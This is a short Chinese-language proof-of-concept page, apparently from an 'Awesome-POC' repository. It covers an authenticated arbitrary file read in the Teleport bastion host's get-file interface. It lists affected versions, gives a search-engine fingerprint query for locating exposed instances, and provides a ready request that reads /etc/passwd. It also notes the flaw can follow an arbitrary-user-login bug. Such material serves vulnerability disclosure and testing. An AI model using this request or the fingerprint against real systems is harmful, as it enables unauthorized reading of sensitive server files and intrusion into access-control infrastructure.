Awesome-POC/网络设备漏洞/Teleport堡垒机 get-file 后台任意文件读取漏洞.md
2023-08-28 15:55:36 +08:00

31 lines
637 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Teleport堡垒机 get-file 后台任意文件读取漏洞
## 漏洞描述
Teleport堡垒机 get-file接口存在后台任意文件读取漏洞攻击者利用任意用户登录漏洞后可以获取后台权限再进一步利用任意文件读取获取服务器上的敏感文件
## 漏洞影响
```
Teleport Version <= 20220817
```
## 网络测绘
```
app="TELEPORT堡垒机"
```
## 漏洞复现
登录页面
![image-20220824134958109](./images/202208241355622.png)
登录后使用POC验证
```
/audit/get-file?f=/etc/passwd&rid=1&type=rdp&act=read&offset=0
```
![image-20220824135554806](./images/202208241355866.png)